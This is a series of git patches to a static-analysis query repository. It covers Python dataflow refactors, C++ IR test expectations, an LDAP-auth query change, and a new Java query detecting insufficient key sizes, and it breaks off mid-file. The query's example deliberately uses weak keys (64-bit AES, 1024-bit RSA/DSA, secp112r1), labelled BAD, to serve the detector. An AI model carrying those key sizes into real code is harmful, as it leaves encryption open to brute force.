100644 --- a/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected +++ b/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected @@ -4,9 +4,7 @@ | test2.py:1:19:1:21 | ControlFlowNode for ImportMember | mypkg.foo | | test2.py:1:24:1:26 | ControlFlowNode for ImportMember | mypkg.bar | | test3.py:1:8:1:16 | ControlFlowNode for ImportExpr | mypkg | -| test3.py:1:8:1:16 | ControlFlowNode for ImportExpr | mypkg.foo | | test3.py:2:8:2:16 | ControlFlowNode for ImportExpr | mypkg | -| test3.py:2:8:2:16 | ControlFlowNode for ImportExpr | mypkg.bar | | test4.py:1:8:1:16 | ControlFlowNode for ImportExpr | mypkg.foo | | test4.py:2:8:2:16 | ControlFlowNode for ImportExpr | mypkg.bar | | test5.py:1:8:1:12 | ControlFlowNode for ImportExpr | mypkg | @@ -14,11 +12,9 @@ | test5.py:9:19:9:29 | ControlFlowNode for ImportMember | mypkg.bar | | test6.py:1:8:1:12 | ControlFlowNode for ImportExpr | mypkg | | test6.py:5:8:5:16 | ControlFlowNode for ImportExpr | mypkg | -| test6.py:5:8:5:16 | ControlFlowNode for ImportExpr | mypkg.foo | | test7.py:1:6:1:10 | ControlFlowNode for ImportExpr | mypkg | | test7.py:1:19:1:21 | ControlFlowNode for ImportMember | mypkg.foo | | test7.py:5:8:5:16 | ControlFlowNode for ImportExpr | mypkg | -| test7.py:5:8:5:16 | ControlFlowNode for ImportExpr | mypkg.foo | | test7.py:9:6:9:10 | ControlFlowNode for ImportExpr | mypkg | | test7.py:9:19:9:21 | ControlFlowNode for ImportMember | mypkg.foo | | test_deep.py:1:6:1:21 | ControlFlowNode for ImportExpr | start.middle.end | diff --git a/python/ql/test/experimental/dataflow/typetracking/test.py b/python/ql/test/experimental/dataflow/typetracking/test.py index a797c302023..a4dd1baeac1 100644 --- a/python/ql/test/experimental/dataflow/typetracking/test.py +++ b/python/ql/test/experimental/dataflow/typetracking/test.py @@ -108,7 +108,7 @@ class Bar(Foo): def test_long_import_chain(): import foo.bar - foo.baz # $ SPURIOUS: tracked_foo_bar_baz + foo.baz x = foo.bar.baz # $ tracked_foo_bar_baz do_stuff(x) # $ tracked_foo_bar_baz From 2c5da85e3b294a4642bbe1890dcb15988c840716 Mon Sep 17 00:00:00 2001 From: yoff <lerchedahl@gmail.com> Date: Wed, 27 Jan 2021 19:43:40 +0100 Subject: [PATCH 0883/1241] Update python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll Co-authored-by: Taus <tausbn@github.com> --- .../semmle/python/dataflow/new/internal/DataFlowPrivate.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 122ac1ac28d..25fadae93f9 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -562,8 +562,8 @@ class DataFlowLambda extends DataFlowCallable, TLambda { override string getName() { result = "Lambda callable" } - override CallableValue getCallableValue() { - result.(FunctionValue).getOrigin().getNode() = lambda.getDefinition() + override FunctionValue getCallableValue() { + result.getOrigin().getNode() = lambda.getDefinition() } } From 2120868939a54ea18df4d4827aa39f86025791fc Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Wed, 27 Jan 2021 19:48:01 +0100 Subject: [PATCH 0884/1241] Python: format --- python/ql/src/semmle/python/Function.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/Function.qll b/python/ql/src/semmle/python/Function.qll index 73cb4541517..2c09188ccb1 100644 --- a/python/ql/src/semmle/python/Function.qll +++ b/python/ql/src/semmle/python/Function.qll @@ -42,8 +42,8 @@ class Function extends Function_, Scope, AstNode { /** * Holds if this function represents a lambda. * - * The extractor reifies each lambda expression as a (local) function with the name - * "lambda". As `lambda` is a keyword in Python, it's impossible to create a function with this + * The extractor reifies each lambda expression as a (local) function with the name + * "lambda". As `lambda` is a keyword in Python, it's impossible to create a function with this * name otherwise, and so it's impossible to get a non-lambda function accidentally * classified as a lambda. */ From 24f76f9a17559adb048ebeb29fc8c1a9b3e0566d Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 27 Jan 2021 21:57:12 +0100 Subject: [PATCH 0885/1241] C++: Accept test changes. --- .../ir/ssa/aliased_ssa_ir.expected | 84 +++++++++---------- 1 file changed, 39 insertions(+), 45 deletions(-) diff --git a/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ir.expected b/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ir.expected index f241c851109..c4019a38251 100644 --- a/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ir.expected +++ b/cpp/ql/test/library-tests/ir/ssa/aliased_ssa_ir.expected @@ -889,10 +889,8 @@ ssa.cpp: # 207| m207_4(unknown) = Chi : total:m207_2, partial:m207_3 # 207| r207_5(glval<int>) = VariableAddress[x] : # 207| m207_6(int) = InitializeParameter[x] : &:r207_5 -# 207| m207_7(unknown) = Chi : total:m207_4, partial:m207_6 # 208| r208_1(glval<int>) = VariableAddress[y] : # 208| m208_2(int) = Uninitialized[y] : &:r208_1 -# 208| m208_3(unknown) = Chi : total:m207_7, partial:m208_2 # 209| r209_1(glval<unknown>) = FunctionAddress[memcpy] : # 209| r209_2(glval<int>) = VariableAddress[y] : # 209| r209_3(int *) = CopyValue : r209_2 @@ -904,15 +902,15 @@ ssa.cpp: # 209| r209_9(void *) = Call[memcpy] : func:r209_1, 0:r209_4, 1:r209_7, 2:r209_8 # 209| v209_10(void) = ^SizedBufferReadSideEffect[1] : &:r209_7, r209_8, ~m207_6 # 209| m209_11(unknown) = ^SizedBufferMustWriteSideEffect[0] : &:r209_4, r209_8 -# 209| m209_12(unknown) = Chi : total:m208_3, partial:m209_11 +# 209| m209_12(int) = Chi : total:m208_2, partial:m209_11 # 210| r210_1(glval<int>) = VariableAddress[#return] : # 210| r210_2(glval<int>) = VariableAddress[y] : -# 210| r210_3(int) = Load[y] : &:r210_2, ~m209_12 +# 210| r210_3(int) = Load[y] : &:r210_2, m209_12 # 210| m210_4(int) = Store[#return] : &:r210_1, r210_3 -# 207| r207_8(glval<int>) = VariableAddress[#return] : -# 207| v207_9(void) = ReturnValue : &:r207_8, m210_4 -# 207| v207_10(void) = AliasedUse : m207_3 -# 207| v207_11(void) = ExitFunction : +# 207| r207_7(glval<int>) = VariableAddress[#return] : +# 207| v207_8(void) = ReturnValue : &:r207_7, m210_4 +# 207| v207_9(void) = AliasedUse : m207_3 +# 207| v207_10(void) = ExitFunction : # 213| void InitArray() # 213| Block 0 @@ -1104,51 +1102,49 @@ ssa.cpp: # 247| m247_6(char *) = InitializeParameter[src] : &:r247_5 # 247| r247_7(char *) = Load[src] : &:r247_5, m247_6 # 247| m247_8(unknown) = InitializeIndirection[src] : &:r247_7 -# 247| m247_9(unknown) = Chi : total:m247_4, partial:m247_8 -# 247| r247_10(glval<int>) = VariableAddress[size] : -# 247| m247_11(int) = InitializeParameter[size] : &:r247_10 +# 247| r247_9(glval<int>) = VariableAddress[size] : +# 247| m247_10(int) = InitializeParameter[size] : &:r247_9 # 248| r248_1(glval<char *>) = VariableAddress[dst] : # 248| r248_2(glval<unknown>) = FunctionAddress[operator new[]] : # 248| r248_3(glval<int>) = VariableAddress[size] : -# 248| r248_4(int) = Load[size] : &:r248_3, m247_11 +# 248| r248_4(int) = Load[size] : &:r248_3, m247_10 # 248| r248_5(unsigned long) = Convert : r248_4 # 248| r248_6(unsigned long) = Constant[1] : # 248| r248_7(unsigned long) = Mul : r248_5, r248_6 # 248| r248_8(void *) = Call[operator new[]] : func:r248_2, 0:r248_7 -# 248| m248_9(unknown) = ^CallSideEffect : ~m247_9 -# 248| m248_10(unknown) = Chi : total:m247_9, partial:m248_9 +# 248| m248_9(unknown) = ^CallSideEffect : ~m247_4 +# 248| m248_10(unknown) = Chi : total:m247_4, partial:m248_9 # 248| m248_11(unknown) = ^InitializeDynamicAllocation : &:r248_8 -# 248| m248_12(unknown) = Chi : total:m248_10, partial:m248_11 -# 248| r248_13(char *) = Convert : r248_8 -# 248| m248_14(char *) = Store[dst] : &:r248_1, r248_13 +# 248| r248_12(char *) = Convert : r248_8 +# 248| m248_13(char *) = Store[dst] : &:r248_1, r248_12 # 249| r249_1(char) = Constant[97] : # 249| r249_2(glval<char *>) = VariableAddress[src] : # 249| r249_3(char *) = Load[src] : &:r249_2, m247_6 # 249| r249_4(glval<char>) = CopyValue : r249_3 # 249| m249_5(char) = Store[?] : &:r249_4, r249_1 -# 249| m249_6(unknown) = Chi : total:m248_12, partial:m249_5 +# 249| m249_6(unknown) = Chi : total:m247_8, partial:m249_5 # 250| r250_1(glval<unknown>) = FunctionAddress[memcpy] : # 250| r250_2(glval<char *>) = VariableAddress[dst] : -# 250| r250_3(char *) = Load[dst] : &:r250_2, m248_14 +# 250| r250_3(char *) = Load[dst] : &:r250_2, m248_13 # 250| r250_4(void *) = Convert : r250_3 # 250| r250_5(glval<char *>) = VariableAddress[src] : # 250| r250_6(char *) = Load[src] : &:r250_5, m247_6 # 250| r250_7(void *) = Convert : r250_6 # 250| r250_8(glval<int>) = VariableAddress[size] : -# 250| r250_9(int) = Load[size] : &:r250_8, m247_11 +# 250| r250_9(int) = Load[size] : &:r250_8, m247_10 # 250| r250_10(void *) = Call[memcpy] : func:r250_1, 0:r250_4, 1:r250_7, 2:r250_9 # 250| v250_11(void) = ^SizedBufferReadSideEffect[1] : &:r250_7, r250_9, ~m249_6 # 250| m250_12(unknown) = ^SizedBufferMustWriteSideEffect[0] : &:r250_4, r250_9 -# 250| m250_13(unknown) = Chi : total:m249_6, partial:m250_12 +# 250| m250_13(unknown) = Chi : total:m248_11, partial:m250_12 # 251| r251_1(glval<char *>) = VariableAddress[#return] : # 251| r251_2(glval<char *>) = VariableAddress[dst] : -# 251| r251_3(char *) = Load[dst] : &:r251_2, m248_14 +# 251| r251_3(char *) = Load[dst] : &:r251_2, m248_13 # 251| m251_4(char *) = Store[#return] : &:r251_1, r251_3 -# 247| v247_12(void) = ReturnIndirection[src] : &:r247_7, ~m250_13 -# 247| r247_13(glval<char *>) = VariableAddress[#return] : -# 247| v247_14(void) = ReturnValue : &:r247_13, m251_4 -# 247| v247_15(void) = AliasedUse : ~m250_13 -# 247| v247_16(void) = ExitFunction : +# 247| v247_11(void) = ReturnIndirection[src] : &:r247_7, m249_6 +# 247| r247_12(glval<char *>) = VariableAddress[#return] : +# 247| v247_13(void) = ReturnValue : &:r247_12, m251_4 +# 247| v247_14(void) = AliasedUse : ~m248_10 +# 247| v247_15(void) = ExitFunction : # 254| char StringLiteralAliasing2(bool) # 254| Block 0 @@ -1206,39 +1202,37 @@ ssa.cpp: # 268| m268_6(void *) = InitializeParameter[s] : &:r268_5 # 268| r268_7(void *) = Load[s] : &:r268_5, m268_6 # 268| m268_8(unknown) = InitializeIndirection[s] : &:r268_7 -# 268| m268_9(unknown) = Chi : total:m268_4, partial:m268_8 -# 268| r268_10(glval<int>) = VariableAddress[size] : -# 268| m268_11(int) = InitializeParameter[size] : &:r268_10 +# 268| r268_9(glval<int>) = VariableAddress[size] : +# 268| m268_10(int) = InitializeParameter[size] : &:r268_9 # 269| r269_1(glval<void *>) = VariableAddress[buf] : # 269| r269_2(glval<unknown>) = FunctionAddress[malloc] : # 269| r269_3(glval<int>) = VariableAddress[size] : -# 269| r269_4(int) = Load[size] : &:r269_3, m268_11 +# 269| r269_4(int) = Load[size] : &:r269_3, m268_10 # 269| r269_5(void *) = Call[malloc] : func:r269_2, 0:r269_4 -# 269| m269_6(unknown) = ^CallSideEffect : ~m268_9 -# 269| m269_7(unknown) = Chi : total:m268_9, partial:m269_6 +# 269| m269_6(unknown) = ^CallSideEffect : ~m268_4 +# 269| m269_7(unknown) = Chi : total:m268_4, partial:m269_6 # 269| m269_8(unknown) = ^InitializeDynamicAllocation : &:r269_5 -# 269| m269_9(unknown) = Chi : total:m269_7, partial:m269_8 -# 269| m269_10(void *) = Store[buf] : &:r269_1, r269_5 +# 269| m269_9(void *) = Store[buf] : &:r269_1, r269_5 # 270| r270_1(glval<unknown>) = FunctionAddress[memcpy] : # 270| r270_2(glval<void *>) = VariableAddress[buf] : -# 270| r270_3(void *) = Load[buf] : &:r270_2, m269_10 +# 270| r270_3(void *) = Load[buf] : &:r270_2, m269_9 # 270| r270_4(glval<void *>) = VariableAddress[s] : # 270| r270_5(void *) = Load[s] : &:r270_4, m268_6 # 270| r270_6(glval<int>) = VariableAddress[size] : -# 270| r270_7(int) = Load[size] : &:r270_6, m268_11 +# 270| r270_7(int) = Load[size] : &:r270_6, m268_10 # 270| r270_8(void *) = Call[memcpy] : func:r270_1, 0:r270_3, 1:r270_5, 2:r270_7 -# 270| v270_9(void) = ^SizedBufferReadSideEffect[1] : &:r270_5, r270_7, ~m269_7 +# 270| v270_9(void) = ^SizedBufferReadSideEffect[1] : &:r270_5, r270_7, ~m268_8 # 270| m270_10(unknown) = ^SizedBufferMustWriteSideEffect[0] : &:r270_3, r270_7 -# 270| m270_11(unknown) = Chi : total:m269_9, partial:m270_10 +# 270| m270_11(unknown) = Chi : total:m269_8, partial:m270_10 # 271| r271_1(glval<void *>) = VariableAddress[#return] : # 271| r271_2(glval<void *>) = VariableAddress[buf] : -# 271| r271_3(void *) = Load[buf] : &:r271_2, m269_10 +# 271| r271_3(void *) = Load[buf] : &:r271_2, m269_9 # 271| m271_4(void *) = Store[#return] : &:r271_1, r271_3 -# 268| v268_12(void) = ReturnIndirection[s] : &:r268_7, ~m270_11 -# 268| r268_13(glval<void *>) = VariableAddress[#return] : -# 268| v268_14(void) = ReturnValue : &:r268_13, m271_4 -# 268| v268_15(void) = AliasedUse : ~m270_11 -# 268| v268_16(void) = ExitFunction : +# 268| v268_11(void) = ReturnIndirection[s] : &:r268_7, m268_8 +# 268| r268_12(glval<void *>) = VariableAddress[#return] : +# 268| v268_13(void) = ReturnValue : &:r268_12, m271_4 +# 268| v268_14(void) = AliasedUse : ~m269_7 +# 268| v268_15(void) = ExitFunction : # 275| void EscapedButNotConflated(bool, Point, int) # 275| Block 0 From ae2c122159201bcba57d41ee34af460c626f813d Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Wed, 27 Jan 2021 23:15:50 +0100 Subject: [PATCH 0886/1241] Python: Small refactor - align synthetic pre-update nodes with synthetic post -update nodes - move the classes into the modules - rename modules after the new main class (eliding "needs") --- .../dataflow/new/internal/DataFlowPrivate.qll | 103 ++++++++++-------- 1 file changed, 55 insertions(+), 48 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index c699182837d..1f8a7a37739 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -11,29 +11,64 @@ private import semmle.python.essa.SsaCompute //-------- predicate isExpressionNode(ControlFlowNode node) { node.getNode() instanceof Expr } -/** A data flow node for which we should synthesise an associated pre-update node. */ -abstract class NeedsSyntheticPreUpdateNode extends Node { - /** A label for this kind of node. This will figure in the textual representation of the synthesized pre-update node. */ - abstract string label(); +/** A module collecting the different reasons for synthesising a pre-update node. */ +module syntheticPreUpdateNode { + class SyntheticPreUpdateNode extends Node, TSyntheticPreUpdateNode { + NeedsSyntheticPreUpdateNode post; + + SyntheticPreUpdateNode() { this = TSyntheticPreUpdateNode(post) } + + /** Gets the node for which this is a synthetic pre-update node. */ + Node getPostUpdateNode() { result = post } + + override string toString() { result = "[pre " + post.label() + "] " + post.toString() } + + override Scope getScope() { result = post.getScope() } + + override Location getLocation() { result = post.getLocation() } + } + + /** A data flow node for which we should synthesise an associated pre-update node. */ + class NeedsSyntheticPreUpdateNode extends PostUpdateNode { + NeedsSyntheticPreUpdateNode() { this = objectCreationNode() } + + override Node getPreUpdateNode() { result.(SyntheticPreUpdateNode).getPostUpdateNode() = this } + + /** + * A label for this kind of node. This will figure in the textual representation of the synthesized pre-update node. + * + * There is currently only one reason for needing a pre-update node, so we always use that as the label. + */ + string label() { result = "objCreate" } + } + + /** + * Calls to constructors are treated as post-update nodes for the synthesized argument + * that is mapped to the `self` parameter. That way, constructor calls represent the value of the + * object after the constructor (currently only `__init__`) has run. + */ + CfgNode objectCreationNode() { result.getNode().(CallNode) = any(ClassCall c).getNode() } } -class SyntheticPreUpdateNode extends Node, TSyntheticPreUpdateNode { - NeedsSyntheticPreUpdateNode post; - - SyntheticPreUpdateNode() { this = TSyntheticPreUpdateNode(post) } - - /** Gets the node for which this is a synthetic pre-update node. */ - Node getPostUpdateNode() { result = post } - - override string toString() { result = "[pre " + post.label() + "] " + post.toString() } - - override Scope getScope() { result = post.getScope() } - - override Location getLocation() { result = post.getLocation() } -} +import syntheticPreUpdateNode /** A module collecting the different reasons for synthesising a post-update node. */ -module needsSyntheticPostUpdateNode { +module syntheticPostUpdateNode { + /** A post-update node is synthesized for all nodes which satisfy `NeedsSyntheticPostUpdateNode`. */ + class SyntheticPostUpdateNode extends PostUpdateNode, TSyntheticPostUpdateNode { + NeedsSyntheticPostUpdateNode pre; + + SyntheticPostUpdateNode() { this = TSyntheticPostUpdateNode(pre) } + + override Node getPreUpdateNode() { result = pre } + + override string toString() { result = "[post " + pre.label() + "] " + pre.toString() } + + override Scope getScope() { result = pre.getScope() } + + override Location getLocation() { result = pre.getLocation() } + } + /** A data flow node for which we should synthesise an associated post-update node. */ class NeedsSyntheticPostUpdateNode extends Node { NeedsSyntheticPostUpdateNode() { @@ -107,35 +142,7 @@ module needsSyntheticPostUpdateNode { } } -import needsSyntheticPostUpdateNode - -/** A post-update node is synthesized for all nodes which satisfy `NeedsSyntheticPostUpdateNode`. */ -class SyntheticPostUpdateNode extends PostUpdateNode, TSyntheticPostUpdateNode { - NeedsSyntheticPostUpdateNode pre; - - SyntheticPostUpdateNode() { this = TSyntheticPostUpdateNode(pre) } - - override Node getPreUpdateNode() { result = pre } - - override string toString() { result = "[post " + pre.label() + "] " + pre.toString() } - - override Scope getScope() { result = pre.getScope() } - - override Location getLocation() { result = pre.getLocation() } -} - -/** - * Calls to constructors are treated as post-update nodes for the synthesized argument - * that is mapped to the `self` parameter. That way, constructor calls represent the value of the - * object after the constructor (currently only `__init__`) has run. - */ -class ObjectCreationNode extends PostUpdateNode, NeedsSyntheticPreUpdateNode, CfgNode { - ObjectCreationNode() { node.(CallNode) = any(ClassCall c).getNode() } - - override Node getPreUpdateNode() { result.(SyntheticPreUpdateNode).getPostUpdateNode() = this } - - override string label() { result = "objCreate" } -} +import syntheticPostUpdateNode class DataFlowExpr = Expr; From 0e0b18c21446d2450b8699355f324b89ea975ee6 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen <yoff@github.com> Date: Thu, 28 Jan 2021 01:09:03 +0100 Subject: [PATCH 0887/1241] Python: Adjust comment based on review. --- .../dataflow/new/internal/DataFlowPrivate.qll | 36 +++++++++++-------- 1 file changed, 21 insertions(+), 15 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll index 91f424677c6..fe7a551a416 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowPrivate.qll @@ -1059,30 +1059,36 @@ predicate subscriptReadStep(CfgNode nodeFrom, Content c, CfgNode nodeTo) { * (a, [b, *c]) = ("a", ["b", SOURCE]) # RHS has content `TupleElementContent(1); ListElementContent` * ``` * where `a` should not receive content, but `b` and `c` should. `c` will be `[SOURCE]` so - * should have the content converted and transferred, while `b` should read it. + * should have the content transferred, while `b` should read it. * - * The strategy for converting content type is to break the transfer up into a read step - * and a store step, together creating a converting transfer step. - * For this we need a synthetic node in the middle, which we call `TIterableElement(receiver)`. - * It is associated with the receiver of the transfer, because we know the receiver type (tuple) from the syntax. - * Since we sometimes need a converting read step (in the example above, `[b, *c]` reads the content - * `ListElementContent` but should have content `TupleElementContent(0)` and `TupleElementContent(0)`), - * we actually need a second synthetic node. A converting read step is a read step followed by a - * converting transfer. + * To transfer content from RHS to the elements of the LHS in the expression `sequence = iterable`, + * we use two synthetic nodes: * - * We can have a uniform treatment by always having two synthetic nodes and so we can view it as - * two stages of the same node. So we read into (or transfer to) `TIterableSequence(receiver)`, - * from which we take a read step to `TIterableElement(receiver)` and then a store step to `receiver`. + * - `TIterableSequence(sequence)` which captures the content-modeling the entire `sequence` will have + * (essentially just a copy of the content-modeling the RHS has) * - * In order to preserve precise content, we also take a flow step from `TIterableSequence(receiver)` - * directly to `receiver`. + * - `TIterableElement(sequence)` which captures the content-modeling that will be assigned to an element. + * Note that an empty access path means that the value we are tracking flows directly to the element. + * + * + * The `TIterableSequence(sequence)` is at this point superflous but becomes useful when handling recursive + * structures in the LHS, where `sequence` is some internal sequence node. We can have a uniform treatment + * by always having these two synthetic nodes. So we transfer to (or, in the recursive case, read into) + * `TIterableSequence(sequence)`, from which we take a read step to `TIterableElement(sequence)` and then a + * store step to `sequence`. + * + * This allows the unknown content from the RHS to be read into `TIterableElement(sequence)` and tuple content + * to then be stored into `sequence`. If the content is already tuple content, this inderection creates crosstalk + * between indices. Therefore, tuple content is never read into `TIterableElement(sequence)`; it is instead + * transferred directly from `TIterableSequence(sequence)` to `sequence` via a flow step. Such a flow step will + * also transfer other content, but only tuple content is further read from `sequence` into its elements. * * The strategy is then via several read-, store-, and flow steps: * 1. [Flow] Content is transferred from `iterable` to `TIterableSequence(sequence)` via a * flow step. From here, everything happens on the LHS. * * 2. [Flow] Content is transferred from `TIterableSequence(sequence)` to `sequence` via a - * flow step. + * flow step. (Here only tuple content is relevant.) * * 3. [Read] Content is read from `TIterableSequence(sequence)` into `TIterableElement(sequence)`. * As `sequence` is modeled as a tuple, we will not read tuple content as that would allow From 6a93099b645e32e7598999ddbcf0303f65e657fa Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Thu, 28 Jan 2021 03:02:53 +0000 Subject: [PATCH 0888/1241] Simplify the query and update qldoc --- .../experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp | 2 +- .../src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql | 4 +--- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp index 9241b52cf19..ee4afabbed6 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.qhelp @@ -26,7 +26,7 @@ </li> <li> Oracle: - <a href="https://docs.oracle.com/javase/tutorial/jndi/ldap/simple.html">Simple authentication consists of sending the LDAP server the fully qualified DN of the client (user) and the client's clear-text password</a> + <a href="https://docs.oracle.com/javase/tutorial/jndi/ldap/simple.html">Simple authentication</a> </li> </references> </qhelp> diff --git a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql index 602dae21ad7..9563c755410 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-522/InsecureLdapAuth.ql @@ -202,13 +202,11 @@ where sink.getNode().asExpr() = va and exists(BasicAuthFlowConfig bc, DataFlow::PathNode source2, DataFlow::PathNode sink2 | bc.hasFlowPath(source2, sink2) and - source2.getNode().asExpr().(CompileTimeConstantExpr).getStringValue() = "simple" and sink2.getNode().asExpr() = va ) and not exists(SSLFlowConfig sc, DataFlow::PathNode source3, DataFlow::PathNode sink3 | sc.hasFlowPath(source3, sink3) and - source3.getNode().asExpr().(CompileTimeConstantExpr).getStringValue() = "ssl" and - sink3.getNode().asExpr() = va.getVariable().getAnAccess() + sink3.getNode().asExpr() = va ) select sink.getNode(), source, sink, "Insecure LDAP authentication from $@.", source.getNode(), "LDAP connection string" From cfc950f8039ca780b87a6889b2913e6702961b4e Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Thu, 7 Jan 2021 21:18:51 +0000 Subject: [PATCH 0889/1241] Query for weak encryption: Insufficient key size --- .../CWE/CWE-326/InsufficientKeySize.java | 37 +++++ .../CWE/CWE-326/InsufficientKeySize.qhelp | 33 ++++ .../CWE/CWE-326/InsufficientKeySize.ql | 155 ++++++++++++++++++ .../semmle/code/java/security/Encryption.qll | 12 ++ .../CWE-326/InsufficientKeySize.expected | 4 + .../security/CWE-326/InsufficientKeySize.java | 41 +++++ .../CWE-326/InsufficientKeySize.qlref | 1 + 7 files changed, 283 insertions(+) create mode 100644 java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.java create mode 100644 java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.qhelp create mode 100644 java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql create mode 100644 java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected create mode 100644 java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java create mode 100644 java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.qlref diff --git a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.java b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.java new file mode 100644 index 00000000000..6ccf025c244 --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.java @@ -0,0 +1,37 @@ +public class InsufficientKeySize { + public void CryptoMethod() { + KeyGenerator keyGen1 = KeyGenerator.getInstance("AES"); + // BAD: Key size is less than 128 + keyGen1.init(64); + + KeyGenerator keyGen2 = KeyGenerator.getInstance("AES"); + // GOOD: Key size is no less than 128 + keyGen2.init(128); + + KeyPairGenerator keyPairGen1 = KeyPairGenerator.getInstance("RSA"); + // BAD: Key size is less than 2048 + keyPairGen1.initialize(1024); + + KeyPairGenerator keyPairGen2 = KeyPairGenerator.getInstance("RSA"); + // GOOD: Key size is no less than 2048 + keyPairGen2.initialize(2048); + + KeyPairGenerator keyPairGen3 = KeyPairGenerator.getInstance("DSA"); + // BAD: Key size is less than 2048 + keyPairGen3.initialize(1024); + + KeyPairGenerator keyPairGen4 = KeyPairGenerator.getInstance("DSA"); + // GOOD: Key size is no less than 2048 + keyPairGen4.initialize(2048); + + KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC"); + // BAD: Key size is less than 224 + ECGenParameterSpec ecSpec1 = new ECGenParameterSpec("secp112r1"); + keyPairGen5.initialize(ecSpec1); + + KeyPairGenerator keyPairGen6 = KeyPairGenerator.getInstance("EC"); + // GOOD: Key size is no less than 224 + ECGenParameterSpec ecSpec2 = new ECGenParameterSpec("secp256r1"); + keyPairGen6.initialize(ecSpec2); + } +} diff --git a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.qhelp b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.qhelp new file mode 100644 index 00000000000..8de21f1c90a --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.qhelp @@ -0,0 +1,33 @@ +<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd"> +<qhelp> + <overview> + <p>This rule finds uses of encryption algorithms with too small a key size. Encryption algorithms +are vulnerable to brute force attack when too small a key size is used.</p> + </overview> + + <recommendation> + <p>The key should be at least 2048-bit long when using RSA and DSA encryption, 224-bit long when using EC encryption, and 128-bit long when using +symmetric encryption.</p> + </recommendation> + + <references> + + <li> + Wikipedia. + <a href="http://en.wikipedia.org/wiki/Key_size">Key size</a> + </li> + <li> + SonarSource. + <a href="https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-4426">Cryptographic keys should be robust</a> + </li> + <li> + CWE. + <a href="https://cwe.mitre.org/data/definitions/326.html">CWE-326: Inadequate Encryption Strength</a> + </li> + <li> + C# implementation of CodeQL + <a href="https://github.com/github/codeql/blob/df29a1636555465527d17668c19c202e365cf502/csharp/ql/src/Security%20Features/InsufficientKeySize.ql">codeql/csharp/ql/src/Security Features/InsufficientKeySize.ql</a> + </li> + + </references> +</qhelp> \ No newline at end of file diff --git a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql new file mode 100644 index 00000000000..882d997f1b8 --- /dev/null +++ b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql @@ -0,0 +1,155 @@ +/** + * @name Weak encryption: Insufficient key size + * @description Finds uses of encryption algorithms with too small a key size + * @kind problem + * @id java/insufficient-key-size + * @tags security + * external/cwe/cwe-326 + */ + +import java +import semmle.code.java.security.Encryption +import semmle.code.java.dataflow.TaintTracking + +/** The Java class `javax.crypto.KeyGenerator`. */ +class KeyGenerator extends RefType { + KeyGenerator() { this.hasQualifiedName("javax.crypto", "KeyGenerator") } +} + +/** The Java class `javax.crypto.KeyGenerator`. */ +class KeyPairGenerator extends RefType { + KeyPairGenerator() { this.hasQualifiedName("java.security", "KeyPairGenerator") } +} + +/** The Java class 